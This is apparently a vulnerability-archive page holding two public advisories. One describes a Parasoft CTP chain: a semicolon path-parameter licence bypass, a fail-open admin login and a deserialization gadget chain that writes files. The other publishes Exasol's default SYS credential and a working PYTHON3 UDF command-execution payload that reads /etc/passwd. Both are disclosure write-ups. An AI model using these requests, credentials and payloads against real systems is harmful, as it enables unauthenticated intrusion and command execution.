{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Parasoft\nContinuous Testing Platform 10.7.5-SNAPSHOT, the closed-source commercial\ncontinuous-testing, service-virtualisation and environment-management product\nfrom Parasoft, a United States software-testing vendor headquartered in\nMonrovia, California. The affected component is the em web application inside\nthe vendor\u0027s own container image, running on Tomcat 10.1.57 with Jasper and\nJava 17. Three first-party defects compose into an unauthenticated\ncommand-execution chain that needs two HTTP requests and nothing else: an\nunfiltered ObjectInputStream over an uploaded backup archive, a licensing\nfilter that decides whether to run at all by testing the raw un-normalised\nrequest URI, and a remember-me authentication service that hands an anonymous\nrequest an authenticated administrator principal when no external security\nprovider has been configured.\n\nType and root cause. Unfiltered deserialization of attacker-controlled data,\nCWE-502 primary, composed with an interpretation conflict in the licensing\nfilter, CWE-436 primary and co-equal with CWE-863 as its authorisation\nconsequence, and enabled by a fail-open authentication branch, CWE-287. The\nhonest count is three first-party defects rather than one, and that matters to\nwhoever fixes it, because the defect owners, the fixes and the independent\nvalue to an attacker all differ.\n\nThe licensing defect. EMLicenseFilter is 175 lines and behaves as an\nauthorisation boundary, being what stops an unlicensed instance from serving\nits administrative API. Its decision procedure reads the request URI raw at\nline 165 and tests it at line 166 against a chain of exemption clauses\nincluding endsWith(\"about\"), endsWith(\"welcome\"), endsWith(\"forgot\"),\nendsWith(\"notlicensed\"), contains(\"/resources/\") and contains(\"/images/\"),\nnone of which is anchored by a separator or a segment boundary. A branch at\nlines 167 to 171 additionally reassigns the whole exemption set rather than\naccumulating into it when the request accepts JSON. The test has exactly one\nconsumer in the class: shouldNotFilter() at line 47 calling isLicenseRequired()\nat line 48. So a matching URI does not weaken one decision, it suppresses the\nentire doFilterInternal() body, including the /tdm/api/v guard at line 99 and\nthe unlicensed-instance redirect to /em/license at line 118. Because a servlet\ncontainer strips semicolon-delimited path parameters from each segment before\nit performs servlet mapping, the filter and the router disagree about the\nidentity of one request: a target of /em/database/restore;welcome is exempted\nby the filter and still routed to the restore handler by the container. That\ndisagreement is the textbook shape of CWE-436. Measured read-only on a live\ninstance, with the control that carries the argument:\n\n GET /em/database/currentConfig\n -\u003e 302, Location: /em/license, zero-length body\n GET /em/database/currentConfig;welcome\n -\u003e 200, 204 bytes, application/json;charset=utf-8, disclosing the\n schema version, the HyperSQL type, the database user and the\n jdbc:hsqldb:file URL of the platform\u0027s own database files\n GET /em/database/currentConfig;about\n -\u003e the same 200/204, so this is the clause list and not one word\n GET /em/database/currentConfigwelcome (no semicolon)\n -\u003e 404, 792 bytes\n GET /em/tdm/api/v2/servers;welcome\n -\u003e 200, 160 bytes, a well-formed serversResponse XML document with an\n empty servers element, so Jersey routed and ran the resource method\n the same pair over TLS\n -\u003e 200/204 with the bypass and 302/0 without it, so the HTTPS\n listener is an equivalent surface and not a redirect shell\n\nThe no-semicolon control is the load-bearing row: the only variable that\nchanged is the presence of a semicolon path parameter, and the outcome flipped\nfrom a licensing redirect to a 200 carrying live database configuration to a\ncaller who had never authenticated. The bypass is not a skeleton key, and that\nwas measured rather than assumed: handlers performing their own licensing\ncheck are unaffected, the coverage-agent endpoints reading the license manager\ndirectly and continuing to return 403 with a 90-byte unlicensed body across all\nseventeen of their mappings even with the bypass applied, while a server-resource\nfeature gate kept returning 403 with a 94-byte body. What the bypass unlocks is\neverything whose enforcement lives only in the filter, which includes the whole\n/em/database subtree and the entire /em/tdm/api/v version tree. One related\nfirst-party defect sits in the same filter and matters for detection: line 113\nflushes the response output stream and line 115 then calls setStatus(403), so\nlicence refusals surface as HTTP 200 with a JSON body carrying status 403,\nwhich makes them invisible to any status-based monitoring.\n\nThe deserialization defect. The restore path lands in\ncom.parasoft.ctp.core.database.backup.AbstractDatabaseBackup, a class of 518\nlines and 19,851 bytes:\n\n :14 import java.io.ObjectInputStream;\n :111 ObjectInputStream ois = new ObjectInputStream(in);\n :112 int numTables = ois.readInt();\n :117 TableMetadata tableMetadata = (TableMetadata) ois.readObject();\n :126 Connection connection = this.provider.getConnection();\n\nwhere in is the database.ser member of an uploaded zip. Three properties are\ndecisive. The cast is applied to whatever readObject() returned, so it\nconstrains nothing: the gadget executes during the call and the\nClassCastException is thrown afterwards. getConnection() sits nine lines\nlower, so no database needs to exist, to be reachable or to accept the supplied\nparameters for the payload to have already run, which makes that ordering the\ncheapest structural fix available and one needing no understanding of gadget\nchains. And the int read at line 112 is consumed before the object read. The\ncaller is the web-layer controller EMDatabaseController, 1359 lines, whose\nrestore handler at line 707 or 708 takes a StandardMultipartHttpServletRequest\nand hard-compares zip member names against the literals \"version.txt\" at line\n725 and \"database.ser\" at line 733, a shape check that says nothing about\ncontent. The absence of any filter is not an inference from one search: in the\nwhole shipped product ObjectInputStream appears in 68 files with 149 occurrences\nin the core tree and in 3 files in the web layer, readObject appears in 81\nfiles, and ObjectInputFilter appears in 0 files, jdk.serialFilter in 0 files and\nserialFilter in 0 files. Three zeros, across a class name, a system property and\nits short alias, in an image unpacked and searched as artefacts against a\npositive control of 81 files containing readObject, is a strong result: the\nproduct has no deserialization filtering anywhere in its construction. Two\nsibling readObject() calls on the same class of untrusted stream sit in the same\nfile at lines 323 and 435, in a row-draining routine and a row-binding routine;\nthey were read from source and not detonated, and they are named so a fix covers\nthe class rather than the call site.\n\nThe fail-open authentication gate. The application has three Spring Security\nfilter chains and all three register the same remember-me service,\nEMRememberMeServices, 483 lines, with the security configuration in\nCTPSecurityWebConfig, 318 lines. Neither hop of the chain is an unprotected\nroute: /database is explicitly matched to authenticated(), and the images\nallow-list is /images/welcome/star rather than a doubled-asterisk glob over\n/images, so a page written to images/\u003cleaf\u003e.jsp also needs an authenticated\nsubject at the security layer. Both hops sit behind the authentication\nboundary. The finding is therefore described accurately as the product handing\nan anonymous request an authenticated administrative principal:\n\n // EMRememberMeServices.java:140-148, abridged\n if (request.getHeader(\"Authorization\") != null) {\n return null; // :140-142 defer to credentials\n }\n pstsecClient = PSTSecServiceClient.getInstance(); // :146\n if (pstsecClient == null) { // :148 the fail-open branch\n return this.createAuthenticationToken(\"admin\", \"admin\",\n EmUserInfo.Role.ADMIN, request);\n }\n\nThe token registers new SimpleGrantedAuthority(\"ROLE_ADMIN\") and wraps it in a\nSpring Security User whose authenticated flag is true, so the resulting\nprincipal is a genuinely authenticated administrator rather than the container\u0027s\nanonymous principal, and the authenticated() matcher that CTPSecurityWebConfig\nline 283 demands for /database is satisfied by it. The condition guarding all of\nthis is the absence of the external security-provider client, which in the\nuntouched vendor image, with no setup step performed, does not exist. Measured\nwith its control in the same run: an anonymous GET of the users/current resource\nunder the /em/api/v3 context returned 200 with the 39-byte body\n{\"id\":1,\"login\":\"admin\",\"role\":\"ADMIN\"}, and the identical request carrying\nAuthorization: Bearer garbage returned 401 with an empty body. The control shows\nthe fail-open branch is specific to requests presenting no credential at all, so\nthe behaviour is not \"authentication is off\" but \"an absent credential is more\ntrusted than a wrong one\". CSRF is separately not an obstacle, because\nCsrfSecurityRequestMatcher is a 28-line class whose anchored exemption alternation\nat line 19 includes /database, with GET, HEAD, TRACE and OPTIONS exempt by method\nat line 22.\n\nThe write primitive and the execution sink. Reconstituting the stream\u0027s first\nobject, a java.util.HashSet, forces a hashCode() on its single element, a\nTiedMapEntry wrapping a LazyMap whose transformer factory is a\nConstantTransformer holding attacker bytes and whose decorated map is an\naspectjweaver SimpleCache$StoreableCachingMap whose folder field is an absolute\npath:\n\n readObject() -\u003e HashSet.readObject -\u003e HashMap.putVal -\u003e key.hashCode()\n -\u003e commons-collections4 TiedMapEntry.hashCode() -\u003e getValue()\n -\u003e commons-collections4 LazyMap.get(key) // transform the key\n -\u003e map.put(key, value) // invokeinterface, virtual dispatch\n -\u003e aspectjweaver SimpleCache$StoreableCachingMap.put(key, byte[])\n -\u003e writeToPath(folder + File.separator + key, bytes)\n\nThat class was read at the bytecode level to establish four facts, all of which\nare what make the write arbitrary. The folder field is declared private final\nString, is not transient, and the class declares no readObject of its own, so it\nis populated by the inherited HashMap.readObject path through defaultReadObject,\nwhich assigns whatever the stream carries, and both writeToPath and the store\nroutine read it with an explicit getfield so the compiler has not inlined it.\nwriteToPath performs getfield folder, builds a StringBuilder, concatenates a\nseparator and the key, and stores the result, which is the entire function: there\nis no forced extension appended to the key, and the value passes a checkcast to a\nbyte array, so the content is any bytes at all. Validation is absent in every\nform, with zero occurrences of File.getName(), Path.normalize(),\ngetCanonicalPath(), startsWith(), a regular expression or a length truncation in\nthat write path; keys carrying slashes or relative traversals both work, and\nbecause concatenation with an empty folder yields a leading double separator,\nwhich POSIX treats as a valid absolute path, an absolute destination is reachable\ntoo. And it does not fire on deserialization alone, which is the subtle part:\nHashMap.readObject reconstitutes entries through putVal, package-private, final\nand not overridden, so it bypasses the overridden put that contains the write,\nwhich is why the TiedMapEntry to LazyMap to Map.put prefix is needed to force a\nvirtual dispatch. The only content constraint found anywhere is that the bytes\nmust not be exactly the four-byte sentinel IDEM. In the publish"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-287",
"description": "CWE-287",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-321",
"description": "CWE-321",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-347",
"description": "CWE-347",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-436",
"description": "CWE-436",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-502",
"description": "CWE-502",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-863",
"description": "CWE-863",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:03Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/31"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/31"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/parasoft-ctp-unfiltered-deserialization-license-gate-fail-open-jsp-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/31"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] Parasoft Continuous Testing Platform 10.7.5-SNAPSHOT anonymous deserialization in the database restore path to JSP command execution as uid=1000 (9.8)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0497",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/31",
"automated": true,
"contentSha256": "1ae367abb7434ab326ae800e7fd8fba011e44b76212130d268d07a97c6132955",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/31",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-20T02:31:02Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:03Z",
"dateUpdated": "2026-11-02T07:30:03Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0497"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0496
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] Exasol Database 7.1.30 docker-db form: shipped default SYS credential to PYTHON3 UDF os.popen command execution as uid=500(exadefusr), output returned in-band (8.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Exasol
Database 7.1.30, the in-memory MPP analytical database from Exasol AG
(Germany), examined in its docker-db single-container deployment form. The SQL
engine is a proprietary C implementation named EXASolution, the server process
is exacts, clients speak a proprietary binary SQL protocol on port 8563 rather
than HTTP, TLS terminates on that port with a self-signed certificate carrying
no subjectAltName, and the vendor's console client exaplus ships inside the
image. Three further services share the container: ConfD, an HTTPS JSON-RPC
management daemon on 443; BucketFS, an HTTP file service observed on 2580; and
an OpenSSH server on 22. The image as pulled is about 6 GB and is distributed
through Docker Hub.
One fact about this deployment form belongs at the top rather than at the
bottom, because it explains why the research is public now instead of being
held for a patch. Exasol's own upstream repository warns that the docker
distribution is an open source project that is not officially supported by
Exasol; that the base image is an end-of-life CentOS 7 release; that official
support for docker-db 7 is no longer available and that users should move to a
newer release line; that the repository now only contains documentation while
the binaries are distributed through Docker Hub; that issues are disabled; and
that the project is mainly intended for automatic testing of Exasol
deployments. None of that reduces the mechanism, because the credential is a
property of the shipping database and the script engine is a supported core
feature of the product rather than a container add-on. It does mean that on
the vendor's own statements no fix is planned for this deployment form, so
there was no patch to coordinate around and holding the finding would have
left operators exposed without warning. Only version 7.1.30 in this deployment
form was executed. Other 7.1.x releases, the supported non-container
installation and the vendor's newer release line share the mechanism, a
constant SYS credential plus an unrestricted script language in the UDF
engine, and are plausibly affected; none was tested, that is stated as an
explicitly labelled inference, and no version range is claimed.
Type and root cause. Two defects, separable but jointly decisive, classified
as CWE-1392 use of default credentials (primary) and CWE-94 improper control
of generation of code (co-equal), with CWE-798 hard-coded credentials, CWE-78
OS command injection, CWE-1188 insecure default initialization and CWE-250
execution with unnecessary privileges recorded alongside, and CWE-284 and
CWE-862 reported separately for the absent source-address restriction on 8563
and the absent authorisation distinction for script creation. Neither
separately reported item raises a metric. Leg one on its own is a data breach.
Leg two on its own is a documented feature. The pair produces an entry point
that required no provisioning decision by anyone, because nobody ever created
the account an attacker uses, and that converts SQL-layer administrative
access into operating-system command execution with the command output
returned in-band through the ordinary result set.
The credential is the vendor's own published text, not a leak and not an
inference. The upstream docker-db README publishes it under the heading
"Connecting to the Database", instructing the reader to authenticate with
username sys and password exasol. Two image-internal CI test scripts use the
same pair against a freshly initialised database on the same port:
basic_test.sh:112 carries $X -c n11:8563 -u sys -P exasol -jdbcparam
validateservercertificate=0 and basic_sc_test.sh:98 uses -u sys -P exasol as
well. Those two files are not in the current upstream repository, which now
carries documentation only, so they are cited as artifacts observed inside the
7.1.30 image at /usr/opt/EXASuite-7/EXAClusterOS-7.1.30/docker/test/ and not
as repository contents. Nothing rotates the constant, and that was traced
rather than assumed: the running controller process command line carries no
-defaultSysPasswordHash argument; the [DB:DB1] stanza of EXAConf carries no
DefaultSysPasswdHash key; db_jobs.py:104 sets self.sys_passwd_text =
secrets.token_hex(20), which generates an additional random password rather
than replacing the built-in one; database.py:57 passes -defaultSysPasswordHash
only when EXAConf configures it explicitly; and the container's init-sc path
does not configure it. Nothing in the container's start path presents a
first-login change-password step, sets a must-change flag on the SYS account
or refuses service while the constant remains in place, and the README carries
guidance about persistent volumes, hugepages, resource limits and license
mounting with no instruction to change the SYS password; that absence is as
load-bearing as the presence of the constant. The conclusion, corrected once
during the research before being accepted, is that the accepted value is a
built-in default of the database engine rather than a hash handed to it by the
container initialiser, and both the built-in value and the generated random
are accepted, which is why random generation in the provisioning code is not a
defence. The contrast the product supplies is what makes this a defect rather
than a design choice: Exasol generated per-deployment randoms for two of its
three service credentials, the ConfD AuthenticationToken and the BucketFS
WritePasswd, and did not do so for the most privileged one, and an attacker
must read EXAConf to recover either random while sys / exasol is a constant
every installation shares and the documentation prints.
The sink, in full:
CREATE SCHEMA IF NOT EXISTS poc_schema;
OPEN SCHEMA poc_schema;
CREATE OR REPLACE PYTHON3 SCALAR SCRIPT poc_udf()
RETURNS VARCHAR(2000000) AS
import os
def run(ctx):
out = os.popen("id").read()
return 'RCE_OUT:' + out
/
SELECT poc_udf();
Three properties make this a sink rather than a curiosity. The os module is
importable with no declaration, allow-list or capability request. The command
string is an ordinary Python literal built from what the caller supplied, so
shell metacharacters, pipelines and quoting all work, and the measured round
used cat /etc/passwd | head -3 whose pipeline was honoured by the shell
os.popen starts. And the return value crosses the trust boundary back to the
caller through the ordinary result set, which removes the need for any
separate exfiltration channel. Sanitisation over what the body does is absent:
no module allow-list or deny-list, no policy forbidding os or subprocess, no
capability gate, no per-statement approval, no audit prompt and no privilege
beyond SYS itself. What does exist is well-formedness checking rather than a
security control: the engine validates the language alias, submitting PYTHON
instead of PYTHON3 yields its own diagnostic "no definition found for
language: PYTHON", and it enforces SQL syntax and the forward-slash script
terminator. Both were satisfied by the payload without evasion. That alias
diagnostic is worth more than it looks, because it shows script languages are
resolved through a named alias table inside the engine, that the table carries
the standard aliases PYTHON3, LUA, JAVA and R, and that EXAConf contains no
[ScriptLanguages] stanza customising it, so reachability is not conditional on
an operator having installed or enabled a language pack.
Execution identity, reported exactly as id returned it and not rounded up:
uid=500(exadefusr) gid=500(exausers) groups=500(exausers),0(root). This is a
dedicated script-execution account, not the database's own service identity,
and it is not uid=0. Root appears only as a supplementary group, no escalation
to an effective root identity was attempted, observed or is claimed, and
nothing in this research should be described as a root compromise. The
vendor's README does state that privileged container mode is required for
permissions management, UDF support and environment configuration, so the
privileged posture is the documented one rather than an unusual one, and gid 0
on Linux governs access to files and devices whose group is root. The whole of
what the evidence supports is a conditional sentence: if an attacker in that
position could write a setuid binary or reach a device node exposed by
privileged mode, an effective root identity would follow. Neither was tested.
What was tested is that the group membership is present, and it is reported as
an untested escalation position under CWE-250 rather than as an achieved
outcome.
The isolation boundary was not glossed either. The UDF engine runs in a
separate kernel namespace and that isolation is real but partial. A file
written by the UDF did not appear in the container's own filesystem view, so
the two views are distinct mount namespaces. Yet uname from inside the UDF
returned the host kernel release, 5.10.134-19.2.al8.x86_64, which is expected,
a namespace not being a hypervisor and the kernel being shared. Consequently
the account names in the id output come from the namespace's own view, so even
the /etc/passwd read is not asserted to have been the container's file or the
host's. Command execution inside that namespace is confirmed and non-blind and
is a substantial capability on its own; a host or container escape is not
confirmed, not attempted and not claimed, and no cross-namespace file
primitive is asserted. This is why the impact ratings rest on the SQL-layer
authority of SYS, which does not depend on any of it.
Network position, and a claim that was withdrawn. A socket inventory taken
inside the running container reported exacts on 8563, bucketfsd on 2580, confd
on 443 and sshd on 22, each bound to all interfaces within the container's
network namespace. A listener bound to all interfaces inside a container is
not the same thing as a listener reachable from a network, and no
source-address restriction of the product's own was observed in its
configuration or listener behaviour at any point. The vendor's README
documents two ways to run the image and they differ exactly on the question
that matters. The stand-alone command is docker run --name exasoldb -p
127.0.0.1:9563:8563 --detach --privileged --stop-timeout 120
exasol/docker-db:<version>, and the page explains that port 8563 within the
container is exposed on local port 9563 and that the reader should use that
port to connect, so the published port is bound to the host loopback; the
persistent-volume variant on the same page uses the same loopback-bound
publication. The multi-node command is docker run --detach --network=host
--privileged -v "$CONTAINER_EXA:/exa" exasol/docker-db:<version> init-sc
--node-id 11, and the vendor's note says the example uses the host network
stack, that there is no need to expose ports in this mode, and that they are
all accessible on the host. The image's FAQ adds that if you want to check
from outside the Docker network you need port forwarding, which confirms that
host-side reachability is an explicit operator action. Under default bridge
networking with no port publication, which several of the README's own example
commands use including the license-mount and resource-limit examples, the port
is reachable from the host and from every other container attached to the same
bridge, which is a logically adjacent topology.
The research notes originally asserted that the production docker deployment
exposes 8563 on all interfaces by default, and the chain was scored as
remotely reachable on that basis. That assertion rested on the state of the
researchers' own test harness and on a general expectation about how databases
are deployed, not on any product artifact, and it does not survive contact
with the vendor's documentation. It is therefore withdrawn in that form in the
published advisory and replaced by the narrower artifact-backed set of
statement
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Database",
"vendor": "Exasol",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Exasol\nDatabase 7.1.30, the in-memory MPP analytical database from Exasol AG\n(Germany), examined in its docker-db single-container deployment form. The SQL\nengine is a proprietary C implementation named EXASolution, the server process\nis exacts, clients speak a proprietary binary SQL protocol on port 8563 rather\nthan HTTP, TLS terminates on that port with a self-signed certificate carrying\nno subjectAltName, and the vendor\u0027s console client exaplus ships inside the\nimage. Three further services share the container: ConfD, an HTTPS JSON-RPC\nmanagement daemon on 443; BucketFS, an HTTP file service observed on 2580; and\nan OpenSSH server on 22. The image as pulled is about 6 GB and is distributed\nthrough Docker Hub.\n\nOne fact about this deployment form belongs at the top rather than at the\nbottom, because it explains why the research is public now instead of being\nheld for a patch. Exasol\u0027s own upstream repository warns that the docker\ndistribution is an open source project that is not officially supported by\nExasol; that the base image is an end-of-life CentOS 7 release; that official\nsupport for docker-db 7 is no longer available and that users should move to a\nnewer release line; that the repository now only contains documentation while\nthe binaries are distributed through Docker Hub; that issues are disabled; and\nthat the project is mainly intended for automatic testing of Exasol\ndeployments. None of that reduces the mechanism, because the credential is a\nproperty of the shipping database and the script engine is a supported core\nfeature of the product rather than a container add-on. It does mean that on\nthe vendor\u0027s own statements no fix is planned for this deployment form, so\nthere was no patch to coordinate around and holding the finding would have\nleft operators exposed without warning. Only version 7.1.30 in this deployment\nform was executed. Other 7.1.x releases, the supported non-container\ninstallation and the vendor\u0027s newer release line share the mechanism, a\nconstant SYS credential plus an unrestricted script language in the UDF\nengine, and are plausibly affected; none was tested, that is stated as an\nexplicitly labelled inference, and no version range is claimed.\n\nType and root cause. Two defects, separable but jointly decisive, classified\nas CWE-1392 use of default credentials (primary) and CWE-94 improper control\nof generation of code (co-equal), with CWE-798 hard-coded credentials, CWE-78\nOS command injection, CWE-1188 insecure default initialization and CWE-250\nexecution with unnecessary privileges recorded alongside, and CWE-284 and\nCWE-862 reported separately for the absent source-address restriction on 8563\nand the absent authorisation distinction for script creation. Neither\nseparately reported item raises a metric. Leg one on its own is a data breach.\nLeg two on its own is a documented feature. The pair produces an entry point\nthat required no provisioning decision by anyone, because nobody ever created\nthe account an attacker uses, and that converts SQL-layer administrative\naccess into operating-system command execution with the command output\nreturned in-band through the ordinary result set.\n\nThe credential is the vendor\u0027s own published text, not a leak and not an\ninference. The upstream docker-db README publishes it under the heading\n\"Connecting to the Database\", instructing the reader to authenticate with\nusername sys and password exasol. Two image-internal CI test scripts use the\nsame pair against a freshly initialised database on the same port:\nbasic_test.sh:112 carries $X -c n11:8563 -u sys -P exasol -jdbcparam\nvalidateservercertificate=0 and basic_sc_test.sh:98 uses -u sys -P exasol as\nwell. Those two files are not in the current upstream repository, which now\ncarries documentation only, so they are cited as artifacts observed inside the\n7.1.30 image at /usr/opt/EXASuite-7/EXAClusterOS-7.1.30/docker/test/ and not\nas repository contents. Nothing rotates the constant, and that was traced\nrather than assumed: the running controller process command line carries no\n-defaultSysPasswordHash argument; the [DB:DB1] stanza of EXAConf carries no\nDefaultSysPasswdHash key; db_jobs.py:104 sets self.sys_passwd_text =\nsecrets.token_hex(20), which generates an additional random password rather\nthan replacing the built-in one; database.py:57 passes -defaultSysPasswordHash\nonly when EXAConf configures it explicitly; and the container\u0027s init-sc path\ndoes not configure it. Nothing in the container\u0027s start path presents a\nfirst-login change-password step, sets a must-change flag on the SYS account\nor refuses service while the constant remains in place, and the README carries\nguidance about persistent volumes, hugepages, resource limits and license\nmounting with no instruction to change the SYS password; that absence is as\nload-bearing as the presence of the constant. The conclusion, corrected once\nduring the research before being accepted, is that the accepted value is a\nbuilt-in default of the database engine rather than a hash handed to it by the\ncontainer initialiser, and both the built-in value and the generated random\nare accepted, which is why random generation in the provisioning code is not a\ndefence. The contrast the product supplies is what makes this a defect rather\nthan a design choice: Exasol generated per-deployment randoms for two of its\nthree service credentials, the ConfD AuthenticationToken and the BucketFS\nWritePasswd, and did not do so for the most privileged one, and an attacker\nmust read EXAConf to recover either random while sys / exasol is a constant\nevery installation shares and the documentation prints.\n\nThe sink, in full:\n\n CREATE SCHEMA IF NOT EXISTS poc_schema;\n OPEN SCHEMA poc_schema;\n CREATE OR REPLACE PYTHON3 SCALAR SCRIPT poc_udf()\n RETURNS VARCHAR(2000000) AS\n import os\n def run(ctx):\n out = os.popen(\"id\").read()\n return \u0027RCE_OUT:\u0027 + out\n /\n SELECT poc_udf();\n\nThree properties make this a sink rather than a curiosity. The os module is\nimportable with no declaration, allow-list or capability request. The command\nstring is an ordinary Python literal built from what the caller supplied, so\nshell metacharacters, pipelines and quoting all work, and the measured round\nused cat /etc/passwd | head -3 whose pipeline was honoured by the shell\nos.popen starts. And the return value crosses the trust boundary back to the\ncaller through the ordinary result set, which removes the need for any\nseparate exfiltration channel. Sanitisation over what the body does is absent:\nno module allow-list or deny-list, no policy forbidding os or subprocess, no\ncapability gate, no per-statement approval, no audit prompt and no privilege\nbeyond SYS itself. What does exist is well-formedness checking rather than a\nsecurity control: the engine validates the language alias, submitting PYTHON\ninstead of PYTHON3 yields its own diagnostic \"no definition found for\nlanguage: PYTHON\", and it enforces SQL syntax and the forward-slash script\nterminator. Both were satisfied by the payload without evasion. That alias\ndiagnostic is worth more than it looks, because it shows script languages are\nresolved through a named alias table inside the engine, that the table carries\nthe standard aliases PYTHON3, LUA, JAVA and R, and that EXAConf contains no\n[ScriptLanguages] stanza customising it, so reachability is not conditional on\nan operator having installed or enabled a language pack.\n\nExecution identity, reported exactly as id returned it and not rounded up:\nuid=500(exadefusr) gid=500(exausers) groups=500(exausers),0(root). This is a\ndedicated script-execution account, not the database\u0027s own service identity,\nand it is not uid=0. Root appears only as a supplementary group, no escalation\nto an effective root identity was attempted, observed or is claimed, and\nnothing in this research should be described as a root compromise. The\nvendor\u0027s README does state that privileged container mode is required for\npermissions management, UDF support and environment configuration, so the\nprivileged posture is the documented one rather than an unusual one, and gid 0\non Linux governs access to files and devices whose group is root. The whole of\nwhat the evidence supports is a conditional sentence: if an attacker in that\nposition could write a setuid binary or reach a device node exposed by\nprivileged mode, an effective root identity would follow. Neither was tested.\nWhat was tested is that the group membership is present, and it is reported as\nan untested escalation position under CWE-250 rather than as an achieved\noutcome.\n\nThe isolation boundary was not glossed either. The UDF engine runs in a\nseparate kernel namespace and that isolation is real but partial. A file\nwritten by the UDF did not appear in the container\u0027s own filesystem view, so\nthe two views are distinct mount namespaces. Yet uname from inside the UDF\nreturned the host kernel release, 5.10.134-19.2.al8.x86_64, which is expected,\na namespace not being a hypervisor and the kernel being shared. Consequently\nthe account names in the id output come from the namespace\u0027s own view, so even\nthe /etc/passwd read is not asserted to have been the container\u0027s file or the\nhost\u0027s. Command execution inside that namespace is confirmed and non-blind and\nis a substantial capability on its own; a host or container escape is not\nconfirmed, not attempted and not claimed, and no cross-namespace file\nprimitive is asserted. This is why the impact ratings rest on the SQL-layer\nauthority of SYS, which does not depend on any of it.\n\nNetwork position, and a claim that was withdrawn. A socket inventory taken\ninside the running container reported exacts on 8563, bucketfsd on 2580, confd\non 443 and sshd on 22, each bound to all interfaces within the container\u0027s\nnetwork namespace. A listener bound to all interfaces inside a container is\nnot the same thing as a listener reachable from a network, and no\nsource-address restriction of the product\u0027s own was observed in its\nconfiguration or listener behaviour at any point. The vendor\u0027s README\ndocuments two ways to run the image and they differ exactly on the question\nthat matters. The stand-alone command is docker run --name exasoldb -p\n127.0.0.1:9563:8563 --detach --privileged --stop-timeout 120\nexasol/docker-db:\u003cversion\u003e, and the page explains that port 8563 within the\ncontainer is exposed on local port 9563 and that the reader should use that\nport to connect, so the published port is bound to the host loopback; the\npersistent-volume variant on the same page uses the same loopback-bound\npublication. The multi-node command is docker run --detach --network=host\n--privileged -v \"$CONTAINER_EXA:/exa\" exasol/docker-db:\u003cversion\u003e init-sc\n--node-id 11, and the vendor\u0027s note says the example uses the host network\nstack, that there is no need to expose ports in this mode, and that they are\nall accessible on the host. The image\u0027s FAQ adds that if you want to check\nfrom outside the Docker network you need port forwarding, which confirms that\nhost-side reachability is an explicit operator action. Under default bridge\nnetworking with no port publication, which several of the README\u0027s own example\ncommands use including the license-mount and resource-limit examples, the port\nis reachable from the host and from every other container attached to the same\nbridge, which is a logically adjacent topology.\n\nThe research notes originally asserted that the production docker deployment\nexposes 8563 on all interfaces by default, and the chain was scored as\nremotely reachable on that basis. That assertion rested on the state of the\nresearchers\u0027 own test harness and on a general expectation about how databases\nare deployed, not on any product artifact, and it does not survive contact\nwith the vendor\u0027s documentation. It is therefore withdrawn in that form in the\npublished advisory and replaced by the narrower artifact-backed set of\nstatement"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1188",
"description": "CWE-1188",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-1392",
"description": "CWE-1392",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-250",
"description": "CWE-250",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-284",
"description": "CWE-284",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-798",
"description": "CWE-798",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-862",
"description": "CWE-862",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-94",
"description": "CWE-94",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:03Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/30"
},
{
"tags": [
"technical-description"
],
